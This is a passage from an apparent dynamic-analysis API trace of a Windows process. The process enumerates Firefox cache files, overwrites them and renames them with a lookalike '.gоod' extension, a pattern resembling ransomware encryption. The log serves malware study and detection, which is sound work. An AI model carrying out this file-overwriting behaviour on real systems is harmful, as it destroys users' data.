dwReserved0=0x0, dwReserved1=0x0, cFileName="856994BF71BEE39831BB203883640C63D2A3EB13", cAlternateFileName="856994~1")) returned 1 [0212.551] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42e72805, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42e72805, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="87831840EB1AF4B7388E370BA94421C5897B8373", cAlternateFileName="878318~1")) returned 1 [0212.552] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6785531, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6785531, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x67ad9da, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="87BA6D21D6EF49198373FC83CFB347603D5EB25D", cAlternateFileName="87BA6D~1")) returned 1 [0212.552] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2259938, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2259938, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3f73a2b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4c7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="8857F3033ADD4EB28817638302A934EFC707BBDC", cAlternateFileName="8857F3~1")) returned 1 [0212.552] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefa, dwReserved0=0x0, dwReserved1=0x0, cFileName="89A941BEB3D674DAC6782F12BB674DD3A505FDC7", cAlternateFileName="89A941~1")) returned 1 [0212.552] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a8df0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x70a8df0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x70b8bda, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd34, dwReserved0=0x0, dwReserved1=0x0, cFileName="8A7DB491838C072FD03CFE63FDC27186914EF89D", cAlternateFileName="8A7DB4~1")) returned 1 [0212.552] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4964228, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4964228, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc4964228, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x11f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="8C23783988FE2DC0BDAE02B1A35CCD9FACF16B36", cAlternateFileName="8C2378~1")) returned 1 [0212.552] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="8C464319D7DA26EEEF0DC70D0E126016B1661BE9", cAlternateFileName="8C4643~1")) returned 1 [0212.552] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x0, dwReserved1=0x0, cFileName="8C485AAB55CF31B760712B22FB3F3AB91A5E2021", cAlternateFileName="8C485A~1")) returned 1 [0212.552] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2e4570d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2e4570d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2e4570d, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb13, dwReserved0=0x0, dwReserved1=0x0, cFileName="8D42CCDFDB62B35CD60A1498C713514C29CD6D49", cAlternateFileName="8D42CC~1")) returned 1 [0212.554] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5706c5, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3f5706c5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x14847, dwReserved0=0x0, dwReserved1=0x0, cFileName="8DB62C64DCFF7E1003C3E4440ADCDB338E0EC130", cAlternateFileName="8DB62C~1")) returned 1 [0212.554] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3330357, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3330357, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcac0ec23, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x15261, dwReserved0=0x0, dwReserved1=0x0, cFileName="8E46B30B8A6CD2DC14E8C6957D0707ABC329598F", cAlternateFileName="8E46B3~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1a20, dwReserved0=0x0, dwReserved1=0x0, cFileName="8E75488310FCEE9798415D0A12C6809233B39D0A", cAlternateFileName="8E7548~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e0cf4d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45e0cf4d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45e0cf4d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="8F27E0DD6B745A71BFEF380695A51D56F3EF3131", cAlternateFileName="8F27E0~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435f53f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x435f53f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x43706bf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="90873B6220C4B6986D18F883E40CDFF4130FA25D", cAlternateFileName="90873B~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc191c770, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc191c770, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3fead850, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x112a, dwReserved0=0x0, dwReserved1=0x0, cFileName="9097930649FE7A5ED5C370E284F3159B56458EFF", cAlternateFileName="909793~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc69a5eeb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc69a5eeb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc69a5eeb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1990, dwReserved0=0x0, dwReserved1=0x0, cFileName="9149829A8F4CDF7E46336AA2EB0F95DA9369301D", cAlternateFileName="914982~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa69897, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcaa69897, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcaa6e6c6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x524a, dwReserved0=0x0, dwReserved1=0x0, cFileName="91FFA32B495A7A655236E9625A48F0CAACC3A677", cAlternateFileName="91FFA3~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x0, cFileName="926B4864A9252277C983BFD76A41E31DF701CB26", cAlternateFileName="926B48~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b11f48, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45b11f48, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45b11f48, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="92B4D727ADE4E764DD3FA5E06965666378F08CFF", cAlternateFileName="92B4D7~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcac0c51d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcac0c51d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcac0ffc5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x23d41, dwReserved0=0x0, dwReserved1=0x0, cFileName="930D48D86E06AEFA87D0F4EC58A054957534F7E7", cAlternateFileName="930D48~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d1b138, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42d1b138, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x72924653, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ab7, dwReserved0=0x0, dwReserved1=0x0, cFileName="941A1B56BB6C49802B2D2C51ED172A4A9F7D360C", cAlternateFileName="941A1B~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0c25ace, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc0c25ace, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1f5518e4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="950506BC89C1114E4E75E993855000430CECD9D9", cAlternateFileName="950506~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e65614, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e65614, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e7a22a, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9562ACA5B7D12C4434606DB907926F6EF9F36E1C", cAlternateFileName="9562AC~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba2f3e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3ba2f3e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3ba42a5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x15fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="96090AC30D21DB80DB37F7E0C5E3C92231AAC295", cAlternateFileName="96090A~1")) returned 1 [0212.555] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd53eced, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd53eced, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd53eced, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x190d, dwReserved0=0x0, dwReserved1=0x0, cFileName="966A39DB849E895760A253D43B68E29A7533C445", cAlternateFileName="966A39~1")) returned 1 [0212.556] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="96D1160442CDA797188E30E830373B3E7F7E44D4", cAlternateFileName="96D116~1")) returned 1 [0212.556] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1fbeafd0 | out: lpFindFileData=0x1fbeafd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="979C819D6C7504D17BB5A3F483ADA0C1FF961E27", cAlternateFileName="979C81~1")) returned 1 [0212.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb230) returned 1 [0212.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb1f0) returned 1 [0212.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb2f0) returned 1 [0212.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb230) returned 1 [0212.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb1f0) returned 1 [0212.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0212.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0212.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0212.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0212.807] CloseHandle (hObject=0x824) returned 1 [0213.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A", lpFilePart=0x0) returned 0x7f [0213.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0213.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0214.074] CloseHandle (hObject=0x824) returned 1 [0214.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0214.075] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0214.619] CloseHandle (hObject=0x824) returned 1 [0214.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A", lpFilePart=0x0) returned 0x7f [0214.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0214.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0214.619] GetFileType (hFile=0x824) returned 0x1 [0214.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0214.619] GetFileType (hFile=0x824) returned 0x1 [0214.619] WriteFile (in: hFile=0x824, lpBuffer=0x3478bb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x3478bb0*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0214.619] CloseHandle (hObject=0x824) returned 1 [0214.620] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A", lpFilePart=0x0) returned 0x7f [0214.620] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A.gоod", lpFilePart=0x0) returned 0x84 [0214.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0214.620] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a491c9, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc4a491c9, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x7c237de6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4c21)) returned 1 [0214.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0214.620] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\013C507F8C6DC51CF18CC10ABECAC5868407766A.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\013c507f8c6dc51cf18cc10abecac5868407766a.gоod")) returned 1 [0214.621] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", lpFilePart=0x0) returned 0x7f [0214.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0214.621] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb"), fInfoLevelId=0x0, lpFileInformation=0x35ecb50 | out: lpFileInformation=0x35ecb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xef4)) returned 1 [0214.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0214.621] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", lpFilePart=0x0) returned 0x7f [0214.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0214.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\017020bfb3471e12709c39371d58e8123bcf28fb"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0214.621] GetFileType (hFile=0x824) returned 0x1 [0214.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0214.621] GetFileType (hFile=0x824) returned 0x1 [0214.622] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xef4 [0214.622] ReadFile (in: hFile=0x824, lpBuffer=0x35ede40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x35ede40*, lpNumberOfBytesRead=0x1fbeb028*=0xef4, lpOverlapped=0x0) returned 1 [0214.624] CloseHandle (hObject=0x824) returned 1 [0214.651] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\017020BFB3471E12709C39371D58E8123BCF28FB", lpFilePart=0x0) returned 0x7f [0214.651] SetThreadErrorMode 